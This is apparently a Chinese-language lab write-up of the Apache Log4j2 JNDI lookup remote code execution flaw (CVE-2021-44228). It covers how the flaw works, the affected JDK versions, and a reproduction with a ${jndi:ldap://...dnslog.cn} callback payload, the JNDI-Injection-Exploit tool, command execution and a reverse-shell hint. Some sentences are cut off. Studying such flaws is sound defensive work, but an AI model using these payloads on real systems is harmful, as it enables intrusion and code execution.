CVE-2021-44228 Apache Log4j2 JNDI Lookup漏洞 RCE

CVE-2021-44228 Apache Log4j2 JNDI Lookup漏洞 RCE
Ec3o影响版本
2.0<Version
<2.14.1
概述
Apache Log4j2
是一个基于Java的日志记录工具,当前被广泛应用于业务系统开,发,开发者可以利用该工具将程序的输入输出信息进行日志记录。其中log4j2
支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用,
漏洞的产生在于依赖会将${}
包裹的字符串作为特殊字符来进行循环处理. 例如当开发者想在日志中打印今天的日期,则只需要输出${date:MM-dd-yyyy}
,此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。
表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。
其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最重要的原因是log4j还支持JNDI协议。
JNDI
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
简单来说,通过JNDI提供了”通过名称找到对应的对象”的规范定义.JNDI允许我们查找并加载一个远程类,因此存在任意代码执行的风险.
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
由于 lookup()
的参数可控,攻击者在远程服务器上构造恶意的 Reference
类绑定在 RMIServer
的 Registry
里面,然后客户端调用 lookup()
函数里面的对象,远程类获取到 Reference
对象,客户端接收 Reference
对象后,寻找 Reference
中指定的类,若查找不到,则会在 Reference
中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI
注入攻击。
来做一个简单的
漏洞原理
在这段代码前是对${}
输入的解析,之后根据类型来对
支持的Lookup协议类型:
漏洞复现
DNSLOG 信息外带
${jndi:ldap://2co09f.dnslog.cn}
命令执行&反弹Shell
安装JNDI利用工具:
1 | git clone https://github.com/welk1n/JNDI-Injection-Exploit.git |
172.20.0.1
为容器内相对容器而言宿主机的IP地址
进行API请求,注入JNDI-LDAP Payload:
命令执行成功,创建了/tmp/success
文件.
反弹shell只要改一下命令即可